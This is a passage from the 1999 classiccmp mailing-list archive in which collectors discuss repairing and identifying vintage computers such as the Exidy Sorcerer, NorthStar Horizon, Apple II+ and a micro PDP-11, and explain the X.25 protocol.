enough to buy modern network technology, so that no matter how much we bombed their data and network lines, their routers quickly found ways around the damage. From dastar at ncal.verio.com Sun Jan 10 00:13:13 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:57 2005 Subject: new to the list In-Reply-To: <199901092006.MAA09570@saul7.u.washington.edu> Message-ID: On Sat, 9 Jan 1999, D. Peschel wrote: > Many of the people on the list are in the same category. In other words, > the list (which is supposed to be very single-minded) contains a number of > people who actually are single-minded (Tony Duell, Allison Parent, Megan > Gantry, Pete Turnbull, maybe others). This is good! Don't misunderstand > me. It's the way it's supposed to be. > > The problem is that I'm not very single-minded. :) As list maintainer you should be setting the standard for the rest of the list, and making a good example. Since the charter of the list you adopted was that of discussing only classic computers (with some leeway) then you should adhere to that charter. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Sun Jan 10 00:21:56 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: Did Adam Osborne pirate the Osborne 01 ? In-Reply-To: from "Don Maslin" at Jan 9, 99 10:07:47 pm Message-ID: <199901100621.AAA28548@wildride.netads.com> Don Maslin said... | |I have heard this comment over and over, and those who voice it |need to rethink what they are saying. Consider that PARC stands/stood |for Palo Alto Research Center. Emphasis on Research. It is not the |function of a research center to put things into production. That is |corporate's job. If you said 'Xerox was notorious for not doing anything |with PARC's brilliant research' there would be no disagreement at all! I sit corrected. -Miles From healyzh at aracnet.com Sun Jan 10 00:22:24 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:57 2005 Subject: new to the list In-Reply-To: <199901092221.PAA07342@calico.litterbox.com> References: <199901091944.MAA17871@canuck.com> from "Victor the Cleaner" at Jan 09, 1999 12:44:08 PM Message-ID: Jim Strickland wrote: >Why is it every newbie we get wants to split the list? I understand this >stuff >might be pretty tedious to wade through on digest, but there's a simple >solution: subscribe to the actual list. Then you can delete by topic, which Ah, the voice of reason! This is right on target. I can imagine that a digest of this list would be rough, but it's great if you get each message. >The flip side of this is it might be cool if the archive web page had an >upload >and download section so people could just say "I uploaded the y2k checker to >the classiccmp web page" instead of including it. I like this idea, but one question, there is a classiccmp web page again? I thought it went offline about a year ago. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From meo at netads.com Sun Jan 10 00:30:23 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: Digital handbooks available Message-ID: <199901100630.AAA28608@wildride.netads.com> I have a pair of 1981 Digital handbooks: VAX Architecture processor handbook pdp11/04/24/34a/44/70 Instruction sets, addressing modes, all that jive. Don't recall where I got them, except that I saved them from a circular file. I don't need them (I have plenty of books on the VAX and I never got into the PDPs). Anybody need them? -Miles From dastar at ncal.verio.com Sun Jan 10 00:34:36 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:57 2005 Subject: Weird find, QNX, and cooling In-Reply-To: Message-ID: On Sat, 9 Jan 1999, Doug Yowza wrote: > Was there a GUI for this version of QNX? I can't find one, nor anything > that exploits the touch screen on this box. I'm pretty sure there was X, but I don't think Photon was developed yet (I was messing around with it in '95). Photon is a GUI that works in under 1meg. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Sun Jan 10 00:41:55 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: Roadrunner (i386) SunOS diskettes Message-ID: <199901100641.AAA28855@wildride.netads.com> I have a set of Beta diskettes for the Sun Roadrunner (i386). I have what appears to be the complete OS, and the diagnostics diskette. I have part of the dev. tools (should have all, I will keep looking). Anyone have a Roadrunner and need software? -Miles From meo at netads.com Sun Jan 10 00:43:56 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: HPUX manuals Message-ID: <199901100643.AAA28873@wildride.netads.com> I have various & sundry HP/UX 6.2 manuals, such as a Systems Administrator manual. These went with the HP 9000 Series 300 systems, circa 1988. Still in the binders, mostly. Anyone need them? From dastar at ncal.verio.com Sun Jan 10 00:48:05 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:57 2005 Subject: Sick Sorcerer. Diagnosis, Doctor? In-Reply-To: <000001be3c2d$a31f87a0$1bf438cb@a.davie> Message-ID: On Sun, 10 Jan 1999, Andrew Davie wrote: > I am attempting to bring back up an Exidy Sorcerer disk system. I have a > hundred or so disks for this system, and have just realised that I probably > have everything I actually need for the disk system, too. Cleaning out the > garage, found a twin-floppy drive which I thought had been gutted. But on > internal inspection, it appears to only have had the cable removed. Oh cool. Is yours the Exidy branded dual-drive system, using full-height 5.25" drives? I have such a cabinet but no drives, and no internbal circuitry save for an interface in the back. What I'd like to know is what circuitry populates the front of the chassis where the LEDs used to be (mine has labels for track read/write and I think track number LED displays but the circuitry is gone). > But the strange thing is that, very rarely, it misses a character. So, > something like "EXID STAN". Furthermore, it's quite obvious to me that the > text is being put on the screen in a serial manner (slow enough to see). > And finally, occasionally some of the text changes case (ie: eRROR - > COMMAND NOT FOUND). At first I suspected the RAM, but have carefully > reseated all chips that are socketed, with no effect. If the cart works then it sounds like you have bad BASIC ROMs. > I found a homebrew cartridge for this machine, and when its plugged in, the > wordprocessor it contains appears to work fine - everytime - with no > apparent problems. Sure, I don't know the commands, but it does let me > type, doesn't crash, and doesn't have any visible screen glitches as > described above. For this reason I lean towards giving the machine's RAM a > clean bill of health. I have this cart too and the commands are printed on the label. I'll try to a) find mine and b) transcribe the commands. > So, the question is, what's wrong with the monitor? Nothing, check the ROMs. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Sun Jan 10 00:58:18 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:57 2005 Subject: anyone running X11R2 through R4? Message-ID: <199901100658.AAA28960@wildride.netads.com> If so, I have some old copies of the ORA books if you want them. Yes, X11 is well over 10 years old! -Miles, loves X but still misses Sun's original graphics system From dastar at ncal.verio.com Sun Jan 10 00:53:29 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:57 2005 Subject: X.25? In-Reply-To: <199901100045.QAA03266@geocities.com> Message-ID: On Sat, 9 Jan 1999, Max Eskin wrote: > Wired (no, I don't usually read it) reports that hackers were intending to > disable Iraqui computer networks, which were supposedly accessible by > dialup, and using a 'vintage' protocol called X.25. Could someone tell me > what sort of protocol this is and what machines it's likely to involve? X.25 is a protocol that defines both the hardware and software layers. Its a packet-switched protocol for transmitting packets of data across mainly dedicated data circuits. Its a very old protocol (70's vintage) but is still in use today in many telco related applications. The telco's current SS7 (Signalling System 7) protocol, which is used to transmit signaling information bewteen switches, is based on X.25. Over an X.25 circuit, multiple Private Virtual Channels (or PVCs) can be created to effectively multiplex several data streams onto one circuit. The protocol is somewhat complex, and includes error control and a "sliding-window" feature that basically allows buffering of packets if congestion arises. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From jpl15 at netcom.com Sun Jan 10 01:16:27 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:39:57 2005 Subject: PR1ME rescue update Message-ID: Having spent the last several hours plowing through the boxes of doc that came (thank you thank you thank you) with the system.. it seems that I have either a 250-II or a 550-II; I have to drag the CPU out to tell which. The Mag Tape susbsystem has some very interesting conversion routines... not like DECworld... much simpler. I am *really* curious to see what's on the 'Games' reel. Cheerz John From yowza at yowza.com Sun Jan 10 01:23:52 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:57 2005 Subject: Weird find, QNX, and cooling In-Reply-To: Message-ID: On Sat, 9 Jan 1999, Sam Ismail wrote: > I'm pretty sure there was X, but I don't think Photon was developed yet (I > was messing around with it in '95). Photon is a GUI that works in under > 1meg. I'm not sure it's X, but it does have a Motif look to it. I love this OS. I'll see if I can get this weird machine up on the net. BTW, I first heard about QNX from one of its architects who used to post frequently on Usenet, Dan Hildebrand. I just read the announcement of his death last year: http://www.qnx.com/danh/index.html -- Doug From jimw at agora.rdrop.com Sun Jan 10 02:30:03 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:39:57 2005 Subject: NorthStar Horizon incoming In-Reply-To: <3.0.5.32.19990109204316.0092e100@mail.bluefeathertech.com> Message-ID: <3.0.3.32.19990110003003.015ab248@agora.rdrop.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 991 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/fbe8320e/attachment.bin From dburrows at netpath.net Sun Jan 10 02:13:01 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:39:57 2005 Subject: Stupid CP/M question Message-ID: <007401be3c73$8343b230$bf281bce@tower166> >> Graphics we know were not going to happen on PDP11 or most other >> 16bit cpus as they don't address enough space. OSs were driven by >> the environment and it's tasks plus space needs. >> >> Allison > >Jerome Fine replies: > >While I realize that it would not have been possible to make >their graphics part of the standard OS for a PDP-11, I >was led to believe that the PR0 350/380 had access to >their bit mapped screen displays. While doing such >manipulations was likely discouraged, is that a true >statement of the situation and in a few lines, how was >it done? I may have a working PRO 350/380 and >it would be interesting. That depends on the extent of the graphics you want on PDP11. I am thinking of the VS11 and the VSV21 board sets. They work quite nicely - I have a few VS11's and my VSV21 is on loan at a customer site. I also have full docs on them if anyone need info on them. Dan From cswiger at wilma.widomaker.com Sun Jan 10 03:05:51 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:39:57 2005 Subject: YAAA In-Reply-To: <3.0.3.32.19990110003003.015ab248@agora.rdrop.com> Message-ID: Yet another Altair Auction, item #55362392 Appears to have a cassette board in it. Amazing to watch the invisible guiding hand of capitalism at work - a few initial amazingly high prices spur owners to get off their duffs and move them out of the closets and onto the market, saturating the demand resulting in lower prices and affordable units - just the way you guys want it. :) Chuck cswiger@widomaker.com From jonathan at canuck.com Sun Jan 10 03:27:52 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:39:57 2005 Subject: North Star Horizon In-Reply-To: <199901100802.AAA18883@lists5.u.washington.edu> from "classiccmp@u.washington.edu" at Jan 10, 99 00:02:02 am Message-ID: <199901100927.CAA15109@canuck.com> Bruce Lane , a voice of desperation in this data wilderness, cried: >Looks like I'm getting a Northstar Horizon box come July. Friend of mine's holding it for me until I can get down south and pick it up. >Here's what I remember about Horizons: S100 bus, CP/M for an OS, built pretty well. >More info would be most welcome. My specialties for 'classic' systems are with DEC and Sun. Close. The Horizon was definitely one of the better-built and more reliable S100 boxes of the time. 10 slots (I think), and a little unusual in that the serial and parallel I/O were built into the motherboard. Most had a wood case. (I once had to replicate all that stuff on a wirewrap board for a client who needed more than 10 card slots and had to migrate to a Cromemco Z2 chassis while maintaining I/O compatibility. I also discovered with that system that their hard disk - a 14" 20(?)meg Century drive - suffered from serious read/write problems due to ground loops. Annoying but solvable. I digress...) CP/M was available, but not the stock OS. North Star (originally Kentucky Fried Computers - swear to god) designed their own unique floppy controller (it was their entry into the S100 market) and had a proprietary OS to go with it. The controller was a full S100 board to run the 5" drives alone, and the weird and difficult thing was that they used HARD sectored floppies, 10 sectors per track (not to be confused with the 16 sector floppies used by Micropolis). Jonathan From tim at thereviewguide.com Sun Jan 10 07:02:04 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:39:57 2005 Subject: Apple II+ Problems Message-ID: <199901101303.FAA08609@geocities.com> Hi. I recently got an Apple II+. OK, it's not the most exciting system in the world, but very cool in it's own respect. It's totally FULL of all kinds of add-in cards (including a AD/DA converter), and has 64K RAM. (48K+16K Pocket Rocket), etc. So basically, it's a nice II+, but more important to me is the add on cards, which probably hold tons of interesting secrets. There's a problem. MACHINE WILL NOT BOOT. I can turn it on, floppy spins, but I won't get a display. None at all. One possible reason is that the local power is 110v, 50hz, not 60, but the IIc works fine. It was also shipped here air freight, but once again, other computers work, but that doesn't prove anything. Ideas? Suggestions? Tim ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From pete at dunnington.u-net.com Sun Jan 10 07:24:24 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:39:57 2005 Subject: Sick Sorcerer. Diagnosis, Doctor? In-Reply-To: "Andrew Davie" "Sick Sorcerer. Diagnosis, Doctor?" (Jan 10, 11:10) References: <000001be3c2d$a31f87a0$1bf438cb@a.davie> Message-ID: <9901101324.ZM3543@indy.dunnington.u-net.com> On Jan 10, 11:10, Andrew Davie wrote: > First question: there are two drives, and each has a set of jumper pins. > The pins are labeled.. > > DS 0 > 1 > 2 > 3 > MX > MS > H M > H C > > The top drive, on which the red LED lights when I power the drive, has > jumpers across DS1 and HC. I am guessing that this drive is the second > drive, and that the two jumpers that fell out of the casing belong on the > second drive. That should be, I'm guessing, DS0 and mmmh... HM? Can > anybody enlighten me on this? Probably DS0 (Drive Select 0) and all other links the same as the other drive (so HC, rather than HM -- that determines the behaviour of head loading w.r.t. drive select/motor on/some other condition) > Second question: Powering the Sorcerer (I thought I didn't have a monitor, > but the VIDEO IN on my VCR works nicely - it shows up well on my TV) exibits > some strange behaviour. What's trying to come up on screen is "EXIDY > STANDARD MONITOR" and a few lines after that. But it simply stops after the > second or third character. Repeated efforts see it stop in different > places - sometimes you see the whole lot, and it's actually usable for a few [...] > I found a homebrew cartridge for this machine, and when its plugged in, the > wordprocessor it contains appears to work fine - everytime - with no > apparent problems. > So, the question is, what's wrong with the monitor? Did you have a BASIC cartidge plugged in? If that were so, and it were faulty, it might well interfere with what happens after a cold start. If not, it could be a faulty monitor PROM. I can't remeber at what point the monitor checks for a cartridge and hands over control, but it could be that one of the monitor PROMs is faulty. That might only be visible when no other cartridge ius fitted, and the CLI part of the monitor is executed. > Third question: Assuming I actually get the machine powering up correctly, > and that the drive I have isn't missing some vital component - it will be > time to insert a disk. Can anybody tell me how to actually use a drive with > the Sorcerer system? I'm afraid it's going to be some arcane "GO C800" or > something like that, from the monitor. I think I might need someone with > documentation! That's how they usually work, but there are lots of different Sorcerer disk formats/systems. We'd need to know more about the specific disk system you have. Usually the bootstrap is quite small, and in the area you mention; you could probably find the start of the bootstrap code just by DUmping memory and looking for it. -- Pete Peter Turnbull Dept. of Computer Science University of York From bobstek at ix.netcom.com Sun Jan 10 07:49:51 1999 From: bobstek at ix.netcom.com (Bob Stek) Date: Sun Feb 27 18:39:57 2005 Subject: NorthStar Horizon incoming Message-ID: <000001be3ca0$18c2b500$6df8fea9@mycroft> NorthStar (founded by 2 Berkeley professors) made one of the earliest S-100 5.25" disk sub-systems. IIRC, it sold for $699 which was cheaper than than the 8" systems available, and made it a popular add-on for IMSAI and other early S-100 machines. It always included NorthStar DOS and BASIC, but CP/M was eventually adapted for it (by Lifeboat Associates I think). The Horizon was a farily well-designed 4 MHz Z-80 S-100 box supplied with N*'s own 16K (and later 32K, 48K, and 64K) dynamic RAM cards. The floppy controller was designed to use 10 hole hard sectored diskettes (which are still available from California Digital for $10 a box!) in formats ranging from SSSD (90K) to DSQD (800K). They also made one of the earliest floating point processor boards (which I believe only their own BASIC supported, in precisions from 8 to 14 digits). They eventually added a range of HDs and continued with their own operating system development including a multi-user environment, though they also officially offered CP/M. I was one of the founding members (along with John Dvorak, who at one time published a Software Review and sold N* software out of his home!) of INSUA, the International NorthStar User's Association which published a very good newsletter for many years. NorthStar made the transistion past the introduction of the PC by offering an all-in-one SBC system with graphics (the Advantage) and even had a dual-processor (Z-80 / 8088) model. Despite attempting to expand their marketing by linking up with General Bindery Corporation (spiral-bound and other binding equipment) to sell NorthStars through business equipment suppliers, they eventually went the way of all S-100 manufacturers - R.I.P. Bob Stek bobstek@ix.netcom.com Saver of Lost SOLs From SUPRDAVE at aol.com Sun Jan 10 09:10:16 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:57 2005 Subject: Apple II+ Problems Message-ID: <97bf3976.3698c2d8@aol.com> In a message dated 1/10/99 8:04:23 AM EST, tim@thereviewguide.com writes: << I recently got an Apple II+. OK, it's not the most exciting system in the world, but very cool in it's own respect. It's totally FULL of all kinds of add-in cards (including a AD/DA converter), and has 64K RAM. (48K+16K Pocket Rocket), etc. So basically, it's a nice II+, but more important to me is the add on cards, which probably hold tons of interesting secrets. There's a problem. MACHINE WILL NOT BOOT. >> does it beep when you turn it on? try removing most or all of the i/o cards and try it again. if it was shipped to you, it probably got beat to heck. reseat/replug everything component on the board and try that. david From ard at p850ug1.demon.co.uk Sun Jan 10 09:49:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:57 2005 Subject: Stupid CP/M question In-Reply-To: <36983BD4.30F788AD@idirect.com> from "Jerome Fine" at Jan 10, 99 00:34:12 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1892 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/ab6b70ad/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 10 09:59:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:57 2005 Subject: Apple II+ Problems In-Reply-To: <199901101303.FAA08609@geocities.com> from "Tim Hotze" at Jan 10, 99 09:02:04 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1571 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/48a282ef/attachment.ksh From allisonp at world.std.com Sun Jan 10 11:59:12 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:57 2005 Subject: NorthStar Horizon incoming Message-ID: <199901101759.AA27433@world.std.com> Bruce, FOLD THE LINES! MY screen is not 200 chars wide and I really hate horozontal scrolling! < Here's what I remember about Horizons: S100 bus, CP/M for an OS, built pre < The native OS was NS* DOS not cp/m though there were several vendors of CPM configured for horizon. Generally they were z80/4mhz cpucard, MDS hard sector disk of 80k for the older single density controller or up to 800k for the later DD controller. Ram minimum for running NS*dos was 16k orged at 2000h while cpm required 20k(minimum and 56k max due to memory mapped disk controller). The s100 backplane was not IEEE696 complient but pretty close considering its design window was many years earlier. The mackplane also carried the logic for two serial ports, parallel port, interrupt logic and a heartbeat timer. A minimum system could then be the box and three cards and the most often cards added were ram. Theses systems use an external terminal though I'd set mine up with a VDM-1 video card and a encoded parallel keyboard. Another OS that ran on the NS* was UCSD PASCAL P-system. The basic system for that required 48k ram and two floppy disks minimum and three(or four if it was the DD version) were more useable. Allison From allisonp at world.std.com Sun Jan 10 11:59:26 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:57 2005 Subject: Stupid CP/M question Message-ID: <199901101759.AA27532@world.std.com> When was the first CP/M released? 1974 (late) and was based loosely on Tops10, RT-11 and OS/8 (DEC Command line styles). > And the first DOS? Before 1970! Dos for PC was 1981ish. TRSdos was '78ish, NS* dos was late '76. DOS used to be a generic as well for "disk operating system". Allison From kyrrin at bluefeathertech.com Sun Jan 10 12:17:26 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:39:57 2005 Subject: NorthStar Horizon incoming In-Reply-To: <199901101759.AA27433@world.std.com> Message-ID: <3.0.5.32.19990110101726.00941e10@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1114 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990110/113a42f4/attachment.bin From dastar at ncal.verio.com Sun Jan 10 12:51:25 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:58 2005 Subject: NortStar Dimension? Message-ID: I'm sure someone here has heard of a NorthStar Dimension. Was it a PC compatible system? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Sun Jan 10 12:56:01 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:58 2005 Subject: North Star Horizon In-Reply-To: <199901100927.CAA15109@canuck.com> Message-ID: On Sun, 10 Jan 1999, Victor the Cleaner wrote: > CP/M was available, but not the stock OS. North Star (originally Kentucky > Fried Computers - swear to god) designed their own unique floppy controller > (it was their entry into the S100 market) and had a proprietary OS to go > with it. The controller was a full S100 board to run the 5" drives alone, Anyone have any hardware with the old Kentucky Fried Computers company name on it? I guess the story is that Kentucky Fried Chicken (now the ever so chicly named KFC) sued them over the name and they had to change it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From healyzh at aracnet.com Sun Jan 10 13:00:34 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:58 2005 Subject: 5.25" Floppies on a P2 system Message-ID: OK, I realize the subject line looks off topic, but it really isn't since this deals with handling and archiving classic media. I seem to recall someone mentioning some of the utilities such as 'putr', 'teledisk', and various other won't work on a modern PC with a 5.25" floppy drive attached. Am I remembering correctly? If so does anyone remember which programs are effected? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From fmc at reanimators.org Sun Jan 10 12:48:36 1999 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:39:58 2005 Subject: X.25? In-Reply-To: "Max Eskin"'s message of Sat, 9 Jan 1999 19:44:43 -0500 References: <199901100045.QAA03266@geocities.com> Message-ID: <199901101848.KAA03166@daemonweed.reanimators.org> "Max Eskin" wrote: > Wired (no, I don't usually read it) reports that hackers were intending to > disable Iraqui computer networks, which were supposedly accessible by > dialup, and using a 'vintage' protocol called X.25. Could someone tell me > what sort of protocol this is and what machines it's likely to involve? There used to be (probably still are) X.25 public data networks. "Public" means "not private" -- effectively, the network owner sells connections and bandwidth to paying external customers, not just to users within the owner's company. You as a customer would pay your money, and the network owner would deal with details like telco so that you effectively get RS-232 synchronous serial port(s) that want to see and hand out X.25 packets at your various locations, and X.25 network addresses corresponding to those ports. Or maybe you would pay for the telco stuff and an access charge to the network provider, and get a port on the network provider's X.25 packet switch. This might be of use to you if you had a need for computer/computer or computer/terminal communication between distant locations. Host computers (minicomputers and larger) often had X.25 network interfaces available as an option, and software that supported computer-to-computer communications and/or terminal-to-computer communications over it. Terminals didn't, but you could get devices called PADs (Port Access Devices? I can't remember) that had connections for terminals, an X.25 connection for the network, and could either act something like a multiplexer, running all the terminal sessions over a permanent virtual circuit (PVC) to a host's address, or like a terminal server, using switched virtual circuits (SVCs) to connect to any host address on the network. Or you might just have a host and a casual need for connectivity from terminals in remote locations, e.g. you've got some database and you sell access to it. So rather than installing a modem rack, you get a connection to Telenet and tell your customers that they need to dial in to their local Telenet access number (which is really a Telenet-owned modem pool with something-like-PADs behind it) with a terminal and modem and connect to such-and-such address. Either way, the X.25 public data network solution could be cheaper than installing point-to-point telco data lines between your hosts and terminals, and the X.25 network provider could offer internal redundant routing that might be prohibitively expensive for you to implement on your own. Now, that said, X.25 networks do not need to be public. If you have the wherewithal, you can build your very own X.25 network out of the same sorts of hardware that the public data network providers use. I guess the Iraqi government could have one or several. And I remember a data center that, in the late 1980s, got fed up with its computer-to-computer communications being done entirely of point-to-point links between computers (with a protocol that wasn't smart enough to forward messages -- if you wanted to go from host A to host C, and the only connection was through B, you had to log on to B from A then C from B) and bought a small Dynapac X.25 switch to sit between the computers. X.25 can also be used to transport other protocols' datagrams, e.g. IP. In fact the US Defense Data Network was IP-over-X.25 and may still be for all I know. I think this sort of thing is either incompatible with or distinct from using X.25 to carry host/terminal traffic (in much the same way that e.g. rlogin and telnet are distinct -- they both run over TCP but use different protocols, and different ports so TCP can multiplex them), so you can't just dial into a PAD and telnet to a host doing IP over X.25, unless the PAD also does telnet and IP over X.25. -Frank McConnell From dastar at ncal.verio.com Sun Jan 10 13:02:53 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:58 2005 Subject: Apple II+ Problems In-Reply-To: <199901101303.FAA08609@geocities.com> Message-ID: On Sun, 10 Jan 1999, Tim Hotze wrote: > Hi. I recently got an Apple II+. OK, it's not the most exciting > system in the world, but very cool in it's own respect. It's totally > FULL of all kinds of add-in cards (including a AD/DA converter), > and has 64K RAM. (48K+16K Pocket Rocket), etc. So basically, > it's a nice II+, but more important to me is the add on cards, which > probably hold tons of interesting secrets. There's a problem. > MACHINE WILL NOT BOOT. I can turn it on, floppy spins, but I > won't get a display. None at all. One possible reason is that the > local power is 110v, 50hz, not 60, but the IIc works fine. It was > also shipped here air freight, but once again, other computers > work, but that doesn't prove anything. Ideas? Suggestions? Make sure your video cable is good. Test it with a multimeter. Make sure its plugged in properly. Check the video connector on the motherboard and make sure it is still in tact. Over the years, the strain of putting in and pulling out the connector tends to break the center conductor on the video jack. Assuming that's all good, pull out all the cards and then fire it up. Does it work now? Ok, put in each card one at a time, starting with the disk controller that was mostl likely in slot 6. Was there anything in slot 7? Just curious. Usually there wasn't, but things that did go there included special video cards and hard disk controllers. The fact that the disk is spinning up is a good sign. Does it do its recalibration (sounds like the disk is farting)? Anyway, start putting in each card one at a time until you find the one that's causing the problem. Maybe just the act of reseating the cards will help. If none of this works, uproot and reseat all the ICs. If THAT doesn't work, did you first check to make sure the contrast or brightness controls on the monitor were set appropriately? Always check the stupid things first. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From marvin at rain.org Sun Jan 10 13:24:40 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:58 2005 Subject: North Star Horizon References: Message-ID: <3698FE78.D54CD04F@rain.org> Sam Ismail wrote: > > Anyone have any hardware with the old Kentucky Fried Computers company > name on it? I guess the story is that Kentucky Fried Chicken (now the > ever so chicly named KFC) sued them over the name and they had to change > it. I have a friend who used to do sales early on in the PC business and used to do business with Kentucky Fried Computers. He also indicated that KFC(Chicken) didn't like KFC (Computers) and thus North* Computers was born. From dastar at ncal.verio.com Sun Jan 10 13:32:44 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:58 2005 Subject: X.25? In-Reply-To: <199901101848.KAA03166@daemonweed.reanimators.org> Message-ID: On 10 Jan 1999, Frank McConnell wrote: > communications over it. Terminals didn't, but you could get devices > called PADs (Port Access Devices? I can't remember) that had Packet Assembler/Disassembler > connections for terminals, an X.25 connection for the network, and > could either act something like a multiplexer, running all the > terminal sessions over a permanent virtual circuit (PVC) to a host's > address, or like a terminal server, using switched virtual circuits > (SVCs) to connect to any host address on the network. I got my TLA's wrong. You're right. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From tomowad at earthlink.net Sun Jan 10 14:00:41 1999 From: tomowad at earthlink.net (Tom Owad) Date: Sun Feb 27 18:39:58 2005 Subject: micro PDP-11 "Fatal RSTS/E system initialization error!" Message-ID: <199901101959.LAA06099@avocet.prod.itd.earthlink.net> I powered my micro PDP-11 up for the first time, today. Here's what happens (please keep in mind I have no manuals or familiarity with the PDP-11): Memory Test Message: "Booting from DU0" Message: "Device XK0: does not interrupt - device disabled" Message: "RSTS v8.0-07 Micro/RSTS (DU0) INIT v8.0-07" "Option" prompt. At the "Option" promt, I typed "Help", bringing up a list of options. {To actually begin "using" the computer, am I correct in assuming I want to select the option "Start" to start timesharing?} At the "Option" prompt, I typed "Start". Here's what the screen looks like, afterwards: Option: START Disk is being rebuilt - wait... DU0 error UDASA P.OPCD P.STS P.BCNT P.BUFF P.BUF2 P.LBN 000000 000242 020006 000000 044000 000000 000001 Unrecoverable disk error on DU0 PC=121232 PS=030341 OV=000022 M5=001600 M6=003242 SP=041274 R0=000000 R1=077777 R2=042125 R3=172150 R4=041410 R5=140026 Fatal RSTS/E system initialization error! Option: -------End. Now to me, this sounds like a bad hard drive, but I'm not at all familiar with this. If somebody could offer their opinion as to what's wrong here (and what to do about it) I'd be most appreciative. Thanks! Tom Owad -- Sysop of Caesarville Online Client software at: From meo at netads.com Sun Jan 10 14:17:08 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:58 2005 Subject: YAAA In-Reply-To: from "cswiger" at Jan 10, 99 04:05:51 am Message-ID: <199901102017.OAA30695@wildride.netads.com> cswiger said... | |Yet another Altair Auction, item #55362392 And for the *really* hardcore collector, there's the brass ship plate from the USS Altair 